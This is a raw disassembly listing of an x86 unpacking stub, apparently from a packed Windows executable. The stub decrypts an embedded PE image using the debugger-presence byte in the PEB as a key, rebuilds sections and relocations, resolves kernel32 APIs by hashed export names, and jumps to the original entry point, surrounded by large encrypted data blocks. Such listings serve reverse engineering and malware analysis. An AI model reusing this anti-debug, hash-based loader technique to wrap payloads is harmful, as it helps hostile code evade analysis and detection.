		dd 6F1131D1h, 24DB8ABh,	0E5A8D441h, 9FCC45E7h, 0C37AE6E9h
		dd 341C87A9h, 745B981h,	576D04EDh, 266EA3C2h, 0B9E969C8h
		dd 26F570C0h, 0CFEC16BAh, 44487B69h, 6D025BCEh,	387D8FB2h
		dd 24BACD5h, 6791297Fh,	8683A642h, 6A832A5Dh, 0DB20CC4Eh
		dd 0D5D31FD6h, 44B27AFh, 57A9F8D2h, 21B086AFh, 7B1B49CDh
		dd 0C31EB375h, 9A502174h, 0D674CCDDh, 34BF9326h, 398FA4AAh
		dd 4768C97Dh, 0E17E1EEEh, 9CAE4AECh, 6638BA1Ch,	41E7D110h
		dd 6FC0AF7Ch, 0C642FE33h, 82DF33FBh, 17179619h,	0D57E303Ah
		dd 76D0B381h, 785398C5h, 0B8566DF4h, 0FDE09854h, 70A9AC21h
		dd 44E0FBBEh, 1C22761Dh, 63DB2004h, 69B068DFh, 0F13E650Bh
		dd 8E9D90E9h, 8FF9CE2h,	0B8938ED2h, 0C0914D2Ch,	0EBCE703Eh
		dd 0BE70F55Fh, 84C4FBABh, 7E954759h, 0A35406FEh, 0F4E65488h
		dd 0B4EF33E0h, 33697DEEh, 0BEF87E98h, 5223F9CFh, 262CFDD6h
		dd 0D3E948CBh, 0B1E1E8F4h, 0AEE545BEh, 26D9CF2Dh, 0EA0B8999h
		dd 3BD1430Ch, 58F0F6DEh, 0C3612866h, 7DE8172Bh,	69A8BD14h
		dd 33BC7E6Fh, 35FB1CE0h, 5A251CB5h, 76F21764h, 43A93CF1h
		dd 4425E5BAh, 4715FD9h,	5AB6817Eh, 0C6CE0400h, 0A870249Ah
		dd 0C4894C14h, 281B1160h, 16537A3h, 0E0BAFA1Fh,	3065FAA5h
		dd 1E0A2021h, 7EF1D788h, 129672EBh, 0BD39F9A0h,	0D851F0DEh
		dd 3426B762h, 0AE9CA40Eh, 1E09D694h, 3C4217DAh,	0A6DB531Ch
		dd 0D3FD0D3Fh, 96737A7Fh, 93B75596h, 8978B21Bh,	69BEACC6h
		dd 9D676697h, 3D2254EBh, 0DE1769A6h, 6FE94A11h,	69668829h
		dd 653C9C90h, 0B465768Ch, 0D92F8C81h, 0B4BA4EF8h, 8A09BD66h
		dd 0D4ACDEFh, 0ACB83CCEh, 0B8716C48h, 7CC8AF94h, 0B8B0719Bh
		dd 0AB37A052h, 0D0031EE6h, 4120291Fh, 5977AE07h, 79848B9Bh
		dd 2B4E1DD9h, 63A4DD35h, 3657A873h, 0B412973Eh,	0B79B134Fh
		dd 0B27F25B7h, 7C6D6E8Fh, 0E92697A3h, 4FB65FCDh, 7A064782h
		dd 0AB978342h, 664AEE26h, 0B4179089h, 5D53ECAFh, 4C0EF990h
		dd 0BE9F5229h, 3FD7F0ADh, 59B84EF2h, 646F12Eh, 7F794D5Eh
		dd 17A26001h, 9DFE0365h, 43424917h, 1EEE7D5Dh, 26FA0FDCh
		dd 0E59457A2h, 0FA8286C9h, 39F1CB0Ch, 0B8F0D581h, 0B16679C7h
		dd 0F5DEBB94h, 229CE559h, 149E79Fh, 76B8C9D7h, 0C7472F8Fh
		dd 749E42B7h, 5DB564BEh, 2B5F8DE4h, 6965C401h, 0DFACFAF5h
		dd 0BD47882Ah, 0D91D4EDCh, 0C0BE0BB0h, 0BFF30718h, 0C5F2ABFBh
		dd 5C65BDC9h, 3E094950h, 0EE38C308h, 0DC73E197h, 45A7FCF1h
		dd 4942FC56h, 581B2CB7h, 0A7E07EA9h, 0F4DB1AE4h, 0BFC8E1C6h
		dd 4B6786Dh, 0DB6DD27Fh, 245FD952h, 0C25C51CAh,	5ACC2B92h
		dd 0CBDC782Eh, 3417F872h, 0D91A4547h, 5E9018BBh, 0F6F9D15h
		dd 0DEE4C661h, 36DC4A8Fh, 3D10A7F1h, 0F9BDB992h, 0AF12CE82h
		dd 0A9432BF8h, 0FAF10579h, 0D99B5FEh, 0FFB76CF0h, 0C80C2726h
		dd 357C6061h, 950BD2A0h, 0D9DFB05Bh, 0ADC634F2h, 60124550h
		dd 0CEC7E35Bh, 42F068E3h, 0D9A47308h, 32D830D5h, 55CCA75Dh
		dd 3921427Bh, 96730D0h,	981CA9F5h, 0E989F77Dh, 0F17D63F3h
		dd 5B04C171h, 0C171340h, 9687BED0h, 8CF6F888h, 0B896DA9Eh
		dd 0E5AECFE9h, 563E13C1h, 96E99B70h, 65298AEAh,	34760EC9h
		dd 84A493B6h, 0EA386896h, 4C3E0DD3h, 0E5789745h, 2DE31C13h
		dd 0EE4FAFDCh, 0A1473BCh, 0C1A902D9h, 7DDF0DB5h, 0AF0C7FA4h
		dd 842D907h, 0ADCACF18h, 7AA82C8Eh, 0A5EB05A6h,	3FA5B58Eh
		dd 9FB6DEC7h, 2EFD54ACh, 0CEF277EDh, 7A06E2E4h,	64D99B92h
		dd 7AE07DB0h, 557F558h,	0C0AB6EF7h, 9523E8EAh, 0FD33D4B3h
		dd 93F83471h, 1527150h,	662731C5h, 8542B962h, 544E2082h
		dd 0FABB5443h, 7EEE3CC0h, 9B39E1D0h, 91C06B36h,	1C724ACEh
		dd 0D5353F22h, 0D32224D1h, 0A6159A9Ch, 4CB35B6Eh, 86C096A1h
		dd 2316EB18h, 0BC6E3C19h, 0E579C5A7h, 0FAA9BBC5h, 78ABDCB9h
		dd 13D5BBD0h, 6DD2AD9Dh, 0B2973EFh, 5CE72357h, 0AC3DC939h
		dd 97B8810Bh, 28CC30B3h, 761218A9h, 0E63BB86Ah,	749A1F92h
		dd 0FB13DA72h, 87C89409h, 83554204h, 0A272BBC1h, 0AC9B9E49h
		dd 93B3035Eh, 0F83C12E8h, 0B5FF3FDCh, 9BCEFE2Ch, 0F07BCA09h
		dd 3DECCE20h, 6C78656Ah, 8D1A11EBh, 0D7DD1681h,	9B67C4CFh
		dd 1039711h, 0EB2ED182h, 0ACDA67DFh, 2BECF193h,	772BE640h
		dd 44526065h, 600C6A1Ch, 2DDD470Ch, 0B77764Dh, 29CD7A23h
		dd 4B2BEC54h, 683C5D30h, 0A7BBD01Eh, 531B7CA1h,	6B2F54BAh
		dd 9FF44302h, 0BF874E62h, 0ED548A91h, 0C423ED9Ah, 27D9E82Dh
		dd 468C348Ch, 0A97C7888h, 10B02B2Bh, 2468DA57h,	27F896CEh
		dd 0F7FB7ECh, 89B896E2h, 0C6FE5EE0h, 0FC155D4Fh, 0F02EE089h
		dd 67A5A5CAh, 666F9663h, 8A88458Eh, 833B0FB9h, 0C0339EB1h
		dd 4B74E67Eh, 0C163DA52h, 11A90A7h, 0DBA045CEh,	0FFAE630Ch
		dd 803ED7C0h, 21E46510h, 840EB8CFh, 8949B588h, 0E15D6787h
		dd 0D8ECCB77h, 0FE684A85h, 8D5C081Fh, 9C266819h, 0F4DB0F20h
		dd 0BE1F89AAh, 59E798F6h, 0F1B28EA7h, 2CED4933h, 5B2EF813h
		dd 0E2DCDABBh, 548154D9h, 0B44F3D82h, 0ABEEF2C5h, 0BABB4271h
		dd 424EBCBBh, 0DDCF52B4h, 0DEA1A62Eh, 5E77270Fh, 0C470C05Ch
		dd 0A0BE0603h, 0ACD8EBD8h, 0FB21FE19h, 0A7EF05FDh, 0DCF979EBh
		dd 1C150C6Ch, 7EBBC9F0h, 0E32A1159h, 0AA525AC9h, 0ECF4C3CEh
		dd 0EF0F95E1h, 0E8B41B93h, 0DE413213h, 506EEA1h, 85C23970h
		dd 0C4B24619h, 3E8EC2F1h, 0BE722603h, 0A5B05B6Ch, 0E5AC6CCFh
		dd 0B0C0C643h, 0CC34397Bh, 0BFC3971Eh, 3F76B3BDh, 87F4888Fh
		dd 23E01F51h, 5EE9F4Eh,	66C83211h, 0D895B978h, 0DB7B61CAh
		dd 7D1FAFACh, 0A8B9566h, 0D6E3543Eh, 1AAACF6Dh,	0DEC37A3h
		dd 0ADEBA8AAh, 2E82D2ECh, 3B9339F1h, 7E845841h,	3CF78DAAh
		dd 0CADDC6E0h, 7D3F0E49h, 0E0ADF811h, 4D010D47h, 0DE642237h
		dd 3A8E640Ah, 40B89816h, 3E95E9DFh, 0B1D8B201h,	0B4E829F2h
		dd 0C6E83A45h, 1B1F5FDDh
		dd 0F6B4EFAAh, 629E7791h, 0ABE7E97Ah, 346B66BFh, 0F91FDA01h
		dd 9175A527h, 804E28EBh, 231F1A8Dh, 9A7441AEh, 49BB586Ah
		dd 66ED4B4h, 30EC7984h,	0F52E07ACh, 287D728Ch, 795832ECh
		dd 8360373Ah, 4BB1FFA1h, 0E98ED902h, 0D0E4DA04h, 0B35C6AB0h
		dd 1BBB7B0Eh, 0D5D6C94Ah, 0E7669B5Ah, 0FC29D9D7h, 0F88C6BA2h
		dd 4BD12BF3h, 95C8FCDDh, 1D8EC935h, 0E82BF819h,	59660A37h
		dd 52F46297h, 0EF390369h, 0FDBCE4B5h, 266713D8h, 229BE681h
		dd 7FBBA9A3h, 0B61B324Ch, 0EE11817Bh, 0EF61EE9h, 8694AD2Eh
		dd 0B917EBCDh, 18D63B15h, 7BFBB63Ch, 0D606BDDEh, 4B4D0ED5h
		dd 0C95B33F2h, 0B6FA120Ah, 4E0BF6D4h, 36D40881h, 6BCAD00Bh
		dd 8DAFC3D9h, 0CA775B25h, 0DA90DA1Eh, 0E4994B3Eh, 0F08BD04Fh
		dd 353E4357h, 6D3CDAF7h, 0C7E6DB4h, 56F44D17h, 6540202Ah
		dd 0BF4922F0h, 0E23BB579h, 3F2083ABh, 84714391h, 165ECBACh
		dd 8781A1h, 19728D80h, 0B7EF1251h, 0C93F3458h, 6E9C9C0Eh
		dd 0A895CD9Ah, 7951C4F5h, 1CD86079h, 0A96CC9CBh, 93650AE8h
		dd 438A6A90h, 77915CD6h, 0D576FCD0h, 12527850h,	268331C1h
		dd 0D7C1191Bh, 20404560h, 0F2F490ECh, 9323875Ch, 0A7B0F814h
		dd 0A0E34C65h, 0C9C63FFBh, 0DAC44431h, 0D6842143h, 0EF3E3A8Eh
		dd 4FBF4FD4h, 0AB435C62h, 461D57F6h, 43C09413h,	0D4C7F51Dh
		dd 96CB3DC9h, 30187217h, 9C4FD92h, 79B07813h, 0B40F4062h
		dd 60FBABB0h, 0E61A5F98h, 78793C18h, 8FA54FADh,	0A9F5904Fh
		dd 26E46160h, 70AE3D4Eh, 67F576DDh, 6A14EE78h, 0E6C86007h
		dd 1DD85B34h, 24CF72F9h, 6354C069h, 951F0A76h, 99603864h
		dd 40A45508h, 72ADEBD6h, 1EE0E8CFh, 0B3495BF0h,	5ED8A6F0h
		dd 0EF5FB124h, 5D00E81Dh, 0E86316CFh, 264E5A07h, 12494D5Ah
		dd 0BD0F4E50h, 86B01FB4h, 69306123h, 7D5FF261h,	892A5CFAh
		dd 0F980FBE5h, 7172B845h, 2344993Eh, 648B0C4Fh,	0B55F29DBh
		dd 72C3216Eh, 0BF6BAF07h, 44B06A5Bh, 0B286EC0Bh, 4678B01Dh
		dd 67B39C07h, 2F13FE7Ch, 0B5CF457Bh, 1E10306Dh,	3BDF7382h
		dd 50502C32h, 0FA8639CAh, 4115881h, 0E274ADDFh,	0BA0EC33Bh
		dd 63CB7EFFh, 6FAF2C2Ah, 0D7495482h, 0E3803A94h, 7227BF67h
		dd 9D585AEFh, 0DC002C96h, 7BB6FC40h, 0D043473Eh, 0A1B71C07h
; ---------------------------------------------------------------------------


loc_469C00:				; CODE XREF: DMN1:0046BBFDj
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		push	ebp
		mov	eax, 4000h
		mov	ecx, 1000h


loc_469C10:				; CODE XREF: DMN1:00469C22j
		xor	eax, ebx
		sub	eax, 0B0B1560Dh
		add	ax, cx
		ror	eax, 7
		add	eax, 0DEADC0EDh
		loop	loc_469C10
		cld
		call	$+5
		pop	eax
		mov	ebp, eax
		sub	ebp, 2Ah
		sub	eax, 68C2Ah
		lea	esi, [eax+40B81h]
		mov	[ebp+2CAh], esi
		lea	eax, [eax-1000h]
		mov	[ebp+2A6h], eax
		mov	edi, [esi+3Ch]
		add	edi, esi
		mov	[ebp+2B2h], esi
		mov	[ebp+2B6h], edi
		pusha
		call	sub_469F18
		popa
		mov	eax, [ebp+2A6h]
		mov	edx, [eax+3Ch]
		add	edx, eax
		mov	eax, [edx+28h]
		add	eax, [ebp+2A6h]
		mov	[ebp+2BEh], eax
		mov	eax, [edx+50h]
		mov	[ebp+2C2h], eax
		mov	edx, [ebp+304h]
		mov	[ebp+2BAh], edx
		mov	eax, [ebp+2A6h]
		mov	[ebp+2AAh], eax
		sub	eax, [ebp+300h]
		mov	[ebp+2AEh], eax
		mov	ecx, [ebp+30Ch]
		mov	esi, [ebp+2B2h]
		mov	edi, [ebp+2AAh]
		push	edi


loc_469CBF:				; CODE XREF: DMN1:00469CCDj
		lodsb
		push	ecx
		mov	ecx, large fs:30h
		sub	al, [ecx+2]
		pop	ecx
		stosb
		loop	loc_469CBF
		pop	edi
		mov	eax, [edi+3Ch]
		add	edi, eax
		mov	[ebp+2B6h], edi
		mov	eax, edi
		movzx	edx, word ptr [eax+6]
		mov	ebx, eax
		add	ebx, 0F8h


loc_469CE9:				; CODE XREF: DMN1:00469D1Ej
		xor	eax, eax
		mov	edi, [ebx+0Ch]
		cmp	edi, eax
		jz	short loc_469D1A
		mov	ecx, [ebx+10h]
		jecxz	short loc_469D1A
		mov	esi, [ebx+14h]
		cmp	esi, eax
		jz	short loc_469D1A
		add	esi, [ebp+2B2h]
		add	edi, [ebp+2AAh]


loc_469D0A:				; CODE XREF: DMN1:00469D18j
		lodsb
		push	ecx
		mov	ecx, large fs:30h
		add	al, [ecx+2]
		pop	ecx
		stosb
		loop	loc_469D0A


loc_469D1A:				; CODE XREF: DMN1:00469CF0j
					; DMN1:00469CF5j ...
		add	ebx, 28h
		dec	edx
		jnz	short loc_469CE9
		mov	eax, [ebp+2AAh]
		mov	[ebp+2B2h], eax
		mov	ecx, [ebp+2FCh]
		jecxz	short loc_469D3C
		add	ecx, eax
		mov	dword ptr [ecx], 0


loc_469D3C:				; CODE XREF: DMN1:00469D32j
		mov	esi, [ebp+2B6h]
		mov	ecx, [esi+0A4h]
		jecxz	short loc_469D8D
		mov	ecx, [esi+0A0h]
		jecxz	short loc_469D8D
		mov	esi, [ebp+2AAh]
		add	esi, ecx


loc_469D5A:				; CODE XREF: DMN1:00469D6Bj
					; DMN1:00469D8Bj
		lodsd
		or	eax, eax
		jz	short loc_469D8D
		add	eax, [ebp+2AAh]
		mov	edx, eax
		lodsd
		sub	eax, 8
		jz	short loc_469D5A
		mov	ecx, eax
		shr	ecx, 1


loc_469D71:				; CODE XREF: DMN1:loc_469D89j
		lodsw
		test	ah, 30h
		jz	short loc_469D89
		and	eax, 0FFFh
		add	eax, edx
		mov	ebx, [eax]
		add	ebx, [ebp+2AEh]
		mov	[eax], ebx


loc_469D89:				; CODE XREF: DMN1:00469D76j
		loop	loc_469D71
		jmp	short loc_469D5A
; ---------------------------------------------------------------------------


loc_469D8D:				; CODE XREF: DMN1:00469D48j
					; DMN1:00469D50j ...
		mov	edx, [ebp+308h]
		add	edx, [ebp+2AAh]
		mov	[ebp+2A2h], edx
		mov	esi, [ebp+2B6h]
		mov	esi, [esi+80h]
		or	esi, esi
		jz	loc_469E44
		add	esi, [ebp+2AAh]


loc_469DB9:				; CODE XREF: DMN1:00469E3Fj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_469E44
		push	esi
		add	eax, [ebp+2AAh]
		cmp	byte ptr [eax],	0
		jz	short loc_469E3A
		push	eax
		call	dword ptr [ebp+4ADh]
		or	eax, eax
		jz	loc_469E97
		mov	esi, [esp]
		push	eax
		mov	edi, [esi+10h]
		or	edi, edi
		jz	short loc_469E3A
		mov	eax, edi
		add	edi, [ebp+2AAh]
		mov	edx, [esi]
		or	edx, edx
		jnz	short loc_469DFA
		mov	edx, eax


loc_469DFA:				; CODE XREF: DMN1:00469DF6j
		add	edx, [ebp+2AAh]


loc_469E00:				; CODE XREF: DMN1:00469E38j
		mov	eax, [edx]
		or	eax, eax
		jz	short loc_469E3A
		bt	eax, 1Fh
		jnb	short loc_469E13
		and	eax, 0FFFFh
		jmp	short loc_469E1C
; ---------------------------------------------------------------------------


loc_469E13:				; CODE XREF: DMN1:00469E0Aj
		add	eax, [ebp+2AAh]
		add	eax, 2


loc_469E1C:				; CODE XREF: DMN1:00469E11j
		push	edx
		push	eax
		push	dword ptr [esp+8]
		call	dword ptr [ebp+4B6h]
		or	eax, eax
		jz	short loc_469E97
		pop	edx
		mov	[edi], eax
		mov	eax, 4
		add	edi, eax
		add	edx, eax
		jmp	short loc_469E00
; ---------------------------------------------------------------------------


loc_469E3A:				; CODE XREF: DMN1:00469DCEj
					; DMN1:00469DE8j ...
		pop	eax
		pop	esi
		add	esi, 14h
		jmp	loc_469DB9
; ---------------------------------------------------------------------------


loc_469E44:				; CODE XREF: DMN1:00469DADj
					; DMN1:00469DBEj
		mov	ecx, [ebp+2AAh]
		mov	eax, [ebp+2A2h]
		mov	[esp+1Ch], ecx
		cld
		pusha
		mov	edi, [ebp+2BEh]
		or	edi, edi
		jz	short loc_469E86
		mov	ecx, [ebp+2A2h]
		jecxz	short loc_469E7C
		mov	al, 0B8h
		stosb
		mov	eax, ecx
		stosd
		mov	eax, 0FFh
		stosb
		mov	eax, 0E0h
		stosb
		jmp	short loc_469E86
; ---------------------------------------------------------------------------


loc_469E7C:				; CODE XREF: DMN1:00469E66j
		mov	al, 0C2h
		stosb
		mov	eax, 0Ch
		stosw


loc_469E86:				; CODE XREF: DMN1:00469E5Ej
					; DMN1:00469E7Aj
		popa
		pop	ebp
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		cld
		or	eax, eax
		jz	short locret_469E94
		jmp	eax
; ---------------------------------------------------------------------------

locret_469E94:				; CODE XREF: DMN1:00469E90j
		retn	0Ch
; ---------------------------------------------------------------------------


loc_469E97:				; CODE XREF: DMN1:00469DD9j
					; DMN1:00469E2Aj
		mov	eax, 1
		jmp	dword ptr [ebp+4C8h]
; ---------------------------------------------------------------------------
		dd offset sub_407AA0
		align 4
		dd 2 dup(40h), 0
a@a@:
		unicode	0, <@€@>
		dw 0B000h
		dd 0D7660002h, 0F0000046h, 6, 1B810000h, 44h, 0Ch dup(0)
		dd 400000h, 2B000h, 7AA0h, 400h, 26600h, 0

; =============== S U B	R O U T	I N E =======================================



sub_469F18	proc near		; CODE XREF: DMN1:00469C5Fp

var_4		= dword	ptr -4

		mov	eax, large fs:30h
		movzx	ebx, byte ptr [eax+2]
		add	eax, ebx
		mov	eax, [eax+0Ch]
		mov	edx, [eax+0Ch]
		push	edx
		lea	eax, [ebp+471h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_469F40:				; CODE XREF: sub_469F18+9Dj
		mov	edx, [esp+0Ch+var_4]
		mov	eax, [edx+18h]
		mov	ebx, eax
		mov	eax, [eax+3Ch]
		add	eax, ebx
		mov	ecx, [eax+78h]
		jecxz	short loc_469FAB
		cmp	dword ptr [eax+7Ch], 0
		jz	short loc_469FAB
		add	ecx, ebx
		mov	esi, [ecx+0Ch]
		or	esi, esi
		jz	short loc_469FAB
		add	esi, ebx
		mov	eax, [esi]
		or	eax, 20202020h
		mov	[ebp+498h], eax
		mov	eax, [esi+4]
		or	ax, 2020h
		mov	[ebp+49Ch], eax
		mov	eax, [esi+8]
		or	eax, 202020h
		mov	[ebp+4A0h], eax
		mov	byte ptr [ebp+4A4h], 0
		lea	esi, [ebp+498h]
		mov	edi, 0Dh
		call	sub_46A0E7
		cmp	eax, [ebp+494h]
		jz	short loc_469FB7


loc_469FAB:				; CODE XREF: sub_469F18+39j
					; sub_469F18+3Fj ...
		mov	edx, [esp+0Ch+var_4]
		mov	edx, [edx]
		mov	[esp+0Ch+var_4], edx
		jmp	short loc_469F40
; ---------------------------------------------------------------------------


loc_469FB7:				; CODE XREF: sub_469F18+91j
		mov	[ebp+47Ch], ebx
		mov	esi, [ebx+3Ch]
		add	esi, ebx
		mov	esi, [esi+78h]
		add	esi, ebx
		add	esi, 1Ch
		lodsd
		add	eax, ebx
		mov	[ebp+480h], eax
		lodsd
		add	eax, ebx
		mov	[ebp+484h], eax
		lodsd
		add	eax, ebx
		mov	[ebp+488h], eax
		sub	esi, 10h
		lodsd
		mov	[ebp+48Ch], eax
		xor	edx, edx
		mov	[ebp+490h], edx
		lea	eax, [ebp+4A8h]


loc_469FFD:				; CODE XREF: sub_469F18+110j
					; sub_469F18+146j
		mov	esi, [ebp+484h]
		add	esi, edx
		mov	esi, [esi]
		add	esi, [ebp+47Ch]
		push	eax
		push	edx
		movzx	edi, byte ptr [eax+4]
		call	sub_46A0E7
		xchg	eax, ebx
		pop	edx
		pop	eax
		cmp	ebx, [eax]
		jz	short loc_46A02A
		add	edx, 4
		inc	dword ptr [ebp+490h]
		jmp	short loc_469FFD
; ---------------------------------------------------------------------------


loc_46A02A:				; CODE XREF: sub_469F18+105j
		shr	edx, 1
		add	edx, [ebp+488h]
		xor	ebx, ebx
		mov	bx, [edx]
		shl	ebx, 2
		add	ebx, [ebp+480h]
		mov	ecx, [ebx]
		add	ecx, [ebp+47Ch]
		mov	[eax+5], ecx
		add	eax, 9
		xor	edx, edx
		mov	[ebp+490h], edx
		lea	ecx, [ebp+4E7h]
		cmp	eax, ecx
		jb	short loc_469FFD
		mov	esp, large fs:0
		pop	eax
		mov	large fs:0, eax
		pop	eax
		pop	eax
		retn
sub_469F18	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	esp, eax
		jmp	loc_469FAB
; ---------------------------------------------------------------------------
		dd 77E60000h, 77E82168h, 77E82FE8h, 77E83E68h, 3A0h, 0
aHfKernel32_dll	db '>hf<kernel32.dll',0
		align 4
		dd 4134D1ADh, 0E805D80Dh, 0C97C1F77h, 0A5FD0FFFh, 890E77E7h
		dd 0A0D4402h, 8177E798h, 0C40F571h, 77E75CB5h, 335DDFDCh
		dd 0E7339C0Dh, 0FFFB1477h, 0F0440DF3h, 0D4BB77E7h, 9A0F79C3h
		db 16h,	0E6h, 77h

; =============== S U B	R O U T	I N E =======================================



sub_46A0E7	proc near		; CODE XREF: sub_469F18+86p
					; sub_469F18+FBp
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx
		push	ebx


loc_46A0F3:				; CODE XREF: sub_46A0E7+35j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_46A102:				; CODE XREF: sub_46A0E7+2Ej
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_46A113
		xor	ax, 8320h
		xor	bx, 0EDB8h


loc_46A113:				; CODE XREF: sub_46A0E7+21j
		dec	dh
		jnz	short loc_46A102
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_46A0F3
		pop	ebx
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn
sub_46A0E7	endp

; ---------------------------------------------------------------------------
		db 58h,	0E7h, 88h
		dd 9DF279F0h, 0D1CC315h, 0B0C60E65h, 738FA60Dh,	91F9587Ah
		dd 98EE2B4Ah, 0A3F797F1h, 853FCC68h, 785C3A2Dh,	6FDDCD99h
		dd 0F99C28C2h, 6EB9C086h, 8F50C973h, 8DA2CB4Eh,	8DC9EDEEh
		dd 41409C57h, 0F4D3A199h, 9B947003h, 933CC3B9h,	0C470CEF8h
		dd 0CB61A9h, 508236AAh,	2721AE7Fh, 0DF58483Eh, 94CEDE92h
		dd 0BA12CAF4h, 0B1039356h, 8B9EC765h, 8AAE33C8h, 53EE88C5h
		dd 70A3E5C6h, 0CD57F1BEh, 703AB179h, 0C162F35Eh, 2F1A2DD1h
		dd 3F0D3585h, 48A22FE6h, 0E20D1C48h, 51C994EEh,	3F42252Ch
		dd 81F7A766h, 0D66B6E35h, 0A3035D0h, 700D24C9h,	1CA7A136h
		dd 0A35D25BBh, 0F06681A1h, 7F5258Eh, 0E4A78B2h,	6FF49C7h
		dd 3433A81h, 6C5E25E4h,	31DDDFC9h, 0F122054Ah, 6B9EE9DCh
		dd 839EF761h, 0EE23AD1Dh, 8FB6E89h, 6EAA8C35h, 0A878CC18h
		dd 564C02B8h, 74CC0F10h, 929BBE8Eh, 0B201C704h,	6ACE877Bh
		dd 0BEE63DC8h, 8B284526h, 77C0EC16h, 2B2365F8h,	87DC93E0h
		dd 2B17E519h, 93B7CBA1h, 35B1C87Dh, 0A089D678h,	7B7B03ADh
		dd 751CDCB3h, 0A0EE0FFFh, 9A56CC04h, 6BB85F46h,	0FCF3A56Fh
		dd 470FCDB4h, 7629AC3Dh, 7E437055h, 0F392A9C3h,	6E2ED93Ch
		dd 0E5E83781h, 0F713D692h, 0F367B8E5h, 4713E85Ah, 0C46279E9h
		dd 0DD905B38h, 0B71FE741h, 4B9CB5E3h, 0F53716F5h, 74276C63h
		dd 0AA058E9Bh, 9E5051C6h, 0E297798h, 8ABAD528h,	0A3D32686h
		dd 4E289A06h, 0C2D43178h, 28940926h, 7BFE5452h,	209B3510h
		dd 983ED0F8h, 0A90645A4h, 43C67892h, 0F0874869h, 45DF1660h
		dd 0EB93AF4h, 9F013887h, 75D151A5h, 0AB0EF5F5h,	0CD637E45h
		dd 83F4496Fh, 5D099FFDh, 70608337h, 7EB56431h, 910304h
		dd 0EE92592Ch, 0DB626D19h, 0E52295D8h, 0E0403030h, 240AF54Ch
		dd 811DD567h, 9C8FC514h, 43183D34h, 0E2CD8943h,	3C1648A9h
		dd 0AF958E58h, 597502E2h, 0BC277684h, 6BBBC262h, 3848C49Ah
		dd 0D2FC8832h, 52AC1D43h, 0CCAC1BCEh, 0D951FAC3h, 2DE85EB9h
		dd 874CDAACh, 0A6A3E80Bh, 2207EB08h, 7852122Ch,	93D9FF28h
		dd 7BF4EF4Bh, 0EA34DDB9h, 0C7349730h, 31398B43h, 29F15EEBh
		dd 8EF37249h, 4E233532h, 0C3FA3FFBh, 4166B7F0h,	9FD317C5h
		dd 3E32F36h, 7057E2D0h,	174DEB4Ah, 0D3F2E550h, 0C738BCE3h
		dd 0B7924606h, 0A1C98696h, 74ADB70Ah, 15B53D1Dh, 343F3AD7h
		dd 0EAFDB2ECh, 0DF842867h, 9B48FA63h, 89105879h, 6B31122Dh
		dd 71E2A05Ah, 5058F23Fh, 33866B3h, 0E867F5FAh, 45A17565h
		dd 0F9C6F8EFh, 0F39146E7h, 805E1F4Dh, 0BF63CD6Eh, 0F129B48Ch
		dd 51F79AA4h, 0C639E1C3h, 152E0469h, 0A77C6A5Ch, 600573ABh
		dd 0E299A87Dh, 35084E4Fh, 0F333B098h, 50D34A59h, 9C411529h
		dd 0E928A1CEh, 303F289Ch, 825F24F6h, 7899DEBh, 45AC7146h
		dd 6C308F12h, 0D2FB4C78h, 0CA14686Fh, 820D6D56h, 0A2DF44FFh
		dd 3BEB901Fh, 0C06828Ah, 79E58392h, 1CEAA794h, 0E514EBAh
		dd 9FA5A257h, 0B3A7DD11h, 0F77C5E2h, 601AB174h,	0C3F3AB3Fh
		dd 674DDF1Bh, 21426531h, 0D192BB2Eh, 931D5FF8h,	8ABF64B2h
		dd 58EE12FCh, 0CDCD0733h, 4DF111CAh, 2CD5EAE6h,	23981236h
		dd 3E8E729Eh, 0A3CB6239h, 323DDD79h, 0C843B5D4h, 0E9B0AF1Fh
		dd 2E80C705h, 0B6314A67h, 9902DA49h, 0A17B3B72h, 444457A7h
		dd 0FE67374Bh, 502C2EA4h, 149D0529h, 2A22EEE7h,	2BADDD3Ah
		dd 71B0B099h, 0ECD2411h, 44E4B224h, 651AB3F2h, 0AA805E7Fh
		dd 0EDCC483Ah, 46CCCB5Ah, 0C90E55CEh, 0EDE3F90Dh, 5B92D219h
		dd 0BB8556DCh, 0D0A68640h, 534F6AC4h, 857043FFh, 4D3F1C18h
		dd 0E353AFEEh, 50FE8E9Fh, 0F39CFC7Ch, 82462FA5h, 15560513h
		dd 2FE9A330h, 7A84831Bh, 3A1B7DB0h, 0B3D1568Bh,	63BD4950h
		dd 922F971Ch, 0C9A70F55h, 0D532B55Ch, 6B858E55h, 0DA76031Dh
		dd 0B6403860h, 788C3819h, 75ADCF81h, 6AE5FE63h,	0BAD2BEA8h
		dd 96B2C855h, 0CA8F609h, 991C7E8Ah, 6CEF07F4h, 0D203E4FDh
		dd 0F623E8D6h, 35322D34h, 63749DC5h, 0D8ACE27Ch, 0F816B11Bh
		dd 1AFC5C8Eh, 3389C783h, 0F8E63AF9h, 76608858h,	0EB6503F6h
		dd 43EA1C89h, 0FF2B9BDAh, 0AEDC59F0h, 94C7C591h, 86E870DAh
		dd 94B7C3FDh, 8027FF7Eh, 92209088h, 0CF8DE07Ah,	9399B0F0h
		dd 2465AAC4h, 55D5F3EFh, 2FBC0284h, 6BEC299Dh, 15F53C4h
		dd 0B3EB008h, 114E52F6h, 5382896Eh, 0E6045074h,	39541E75h
		dd 41643634h, 0EF42EB3Eh, 0D722E974h, 0A29125FDh, 78E5B0E2h
		dd 0B56BD89Ah, 0B0841686h, 742CFA1Bh, 30F2615Dh, 5AF80E9Fh
		dd 0C5090C04h, 130A3F66h, 9B35FF96h, 0C411C198h, 812B8909h
		dd 0E5E899B2h, 14ED4908h, 97FE800Dh, 470F1B4Dh,	1341C9BAh
		dd 9946F488h, 90DF9977h, 1532A22Fh, 0A8D9BA00h,	0E00DC0E4h
		dd 0A010B82Dh, 0E38F25C6h, 0F633002Bh, 0A6C5874Ah, 1FA9CF44h
